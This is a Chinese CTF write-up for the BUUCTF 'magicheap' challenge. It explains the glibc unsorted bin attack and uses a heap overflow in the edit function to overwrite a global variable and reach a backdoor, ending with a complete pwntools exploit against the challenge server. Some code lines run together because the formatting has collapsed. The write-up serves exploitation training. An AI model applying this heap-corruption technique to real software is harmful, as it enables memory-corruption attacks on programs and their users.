当前位置: 首页 > news >正文

BUUCTF-hitcontraining_magicheap 学习Unsortedbin

hitcontraining_magicheap
在这里插入图片描述

unsortedbin_attack的重点是

// 当从unsorted bin取出chunk时:
bck = victim->bk;
unsorted_chunks(av)->bk = bck;    // 1. 修改链表尾
bck->fd = unsorted_chunks(av);    // 2. 关键!向 bck->fd 写入 unsorted bin 地址

victim是unsortedbin里面最后一个,bck是 victim的后一个chunk(在双向链表中)
在 unsorted bin 的双向循环链表中:

unsorted bin: [HEAD] <-> [chunkA] <-> [chunkB] <-> [chunkC] <-> [HEAD]fd->         fd->         fd-><-bk         <-bk         <-bk

当我们从unsortedbin里面取出chunk的时候
victim->bk指针会赋值给bck
bck->fd会写入到unsortedbin的地址
当我们要取出 chunkB 时:

  1. victim = chunkB
  2. bck = victim->bk = chunkC ← 这是victim的后一个chunk
  3. fwd = victim->fd = chunkA ← 这是victim的前一个chunk
    移除前:
         fwd          victim          bck↓             ↓             ↓
[HEAD] <-> [chunkA] <-> [chunkB] <-> [chunkC] <-> [HEAD]

移除操作:

fwd->bk = bck;    // chunkA->bk = chunkC
bck->fd = fwd;    // chunkC->fd = chunkA

移除后:

         fwd                    bck↓                       ↓
[HEAD] <-> [chunkA] <-----------> [chunkC] <-> [HEAD]bk->               <-fd

进入题目
在这里插入图片描述这里看到一个判断

if ( n3 == 4869 ){if ( (unsigned __int64)magic <= 0x1305 ){puts("So sad !");}else{puts("Congrt !");l33t();}

在这里插入图片描述
这个刚好是后门
0x1305就是4869
这时候想到的就是通过unsortedbin攻击来修改magic的值为一个很大的数来直接通过判断
在这里插入图片描述
创建函数
在这里插入图片描述
edit这里可以看到

printf("Size of Heap : ");
read(0, buf, 8uLL);
nbytes = atoi(buf);
printf("Content of heap : ");
read_input(*((void **)&heaparray + n0xA), nbytes);

这里虽然读取了重新输入的size,但是并没有重新malloc,所以这里可以任意堆溢出
[图片]
这里指针置空了没有UAF
在这里插入图片描述
没有PIE
先写出自动化脚本
在这里插入图片描述

from pwn import *
p = process('./magicheap')def debug():gdb.attach(p)pause()def add(size, content):p.sendlineafter(b'Your choice :',b'1')p.sendlineafter(b'Size of Heap : ',str(size).encode())p.sendafter(b'Content of heap:',content)def edit(index, size, content):p.sendlineafter(b'Your choice :',b'2')p.sendlineafter(b'Index :',str(index))p.sendlineafter(b'Size of Heap : ',str(size).encode())p.sendlineafter(b'Content of heap : ',content)def delete(index):p.sendlineafter(b'Your choice :',b'3')p.sendlineafter(b'Index :',str(index).encode())
add(0x20,b'a'*0x10) #0 任意修改
add(0x80,b'b'*0x10) #1 unsorted攻击
add(0x20,b'c'*0x10) #2 防止被合并

在这里插入图片描述
这里看到成功分配了
现在free掉chunk1

delete(1)

在这里插入图片描述
在unsortedbin
在这里插入图片描述
在这里插入图片描述

0x7ffff7dd1b70 <main_arena+80>:        0x0000000000000000        0x00000000006030f0 #top
0x7ffff7dd1b80 <main_arena+96>:        0x0000000000000000        0x0000000000603030 #unsort

现在开始修改bk
我们需要修改的是magic的值
在这里插入图片描述
在这里插入图片描述

magic = 0x6020a0
fd = 0
bk = magic - 0x10edit(0,0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))

在这里插入图片描述
可以看到chunk1这里的bk被改成了magic-0x10 (fd无所谓)
在这里插入图片描述这时候将free的chunk1申请回来就可以改变这里的值

add(0x80,b'd'*0x10) #1

在这里插入图片描述
在这里插入图片描述
可以看到这个时候magic的值被改变了这时候输入4869就可以进去到后门函数
在这里插入图片描述
EXP:

from pwn import *
context.log_level = 'debug'
#p = process('./magicheap')
p = remote('node5.buuoj.cn',28060)def debug():gdb.attach(p)pause()def add(size, content):p.sendlineafter(b'Your choice :',b'1')p.sendlineafter(b'Size of Heap : ',str(size).encode())p.sendafter(b'Content of heap:',content)def edit(index, size, content):p.sendlineafter(b'Your choice :',b'2')p.sendlineafter(b'Index :',str(index))p.sendlineafter(b'Size of Heap : ',str(size).encode())p.sendlineafter(b'Content of heap : ',content)def delete(index):p.sendlineafter(b'Your choice :',b'3')p.sendlineafter(b'Index :',str(index).encode())add(0x20,b'a'*0x10) #0
add(0x80,b'b'*0x10) #1
add(0x20,b'c'*0x10) #2delete(1)magic = 0x6020a0
fd = 0
bk = magic - 0x10edit(0,0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))add(0x80,b'd'*0x10) #1#debug()p.sendlineafter(b':',b'4869')p.interactive()
http://www.jsqmd.com/news/72613/

相关文章:

  • HashMap相关
  • 什么是CRM系统?2025年最新解读:功能、作用与主流厂商推荐
  • 皮层分析中10242的含义
  • 指令的寻址方式
  • 学习机怎么选?避坑指南+主流品牌深度对比(2025年选购攻略) - 品牌测评鉴赏家
  • kettle调度系统-1分钟提供接口供外部系统调用,配置简单,快速高效
  • 在jmx中查询快递
  • 批号的更多应用
  • 完整教程:人工智能之编程进阶 Python高级:第十一章 过渡项目
  • 2025年激光打标标牌加工厂家推荐榜单:权威评选5家技术与服务双优企业 - 博客万
  • 2025最新国产微生物检测仪十大品牌推荐:高性价比,智能,便携式,靠谱的,灵敏度高的优质厂家推荐 - 品牌推荐大师1
  • MNI152脑区可用脑区数为148个
  • Linux 中统计每条染色体上gap的数目
  • 【节点】[Adjustment-Contrast节点]原理解析与实际应用
  • 2025年智能客服系统权威测评年度榜单:综合实力与应用创新三维对比 - 品牌2025
  • 2025年广告行业领军企业排行榜出炉,广告选哪家精选优质厂家 - 品牌推荐师
  • 2025年荧光磁粉探伤机生产厂TOP5推荐:权威测评指南,甄 - mypinpai
  • 改变nii图像大小,去除后10层
  • 学习机是差生逆袭的救星,还是智商税?一文看懂! - 品牌测评鉴赏家
  • Java volatile关键字
  • 侧脑室与脊髓之间的连接
  • 米尔OCPP协议实战开发指南,赋能欧标充电桩市场
  • 2025年物业保安服务公司综合实力盘点:五家值得信赖的服务商解析 - 2025年11月品牌推荐榜
  • 相位中心偏置天线的SAR动目标检测
  • 2025科技行业企业扩张品牌设计服务推荐榜 - 聚焦视觉与战 - 优质品牌商家
  • 2025年塑胶跑道面层环境测试舱订制厂家权威推荐榜单:塑胶跑道环境舱/2舱塑胶跑道环境舱/4舱塑胶跑道环境舱制造商精选 - 品牌推荐官
  • 针对obsidian插件image-converter中的{notepath}会带自己本身文件名的修复
  • 2025宁波VI品牌设计公司推荐榜——科技文创行业场景化适配 - 优质品牌商家
  • 2025宁波品牌设计标志公司优质推荐榜——基于长期主义价值的 - 优质品牌商家
  • 通过/etc/hosts.deny限制一个网段的 SSH 登录尝试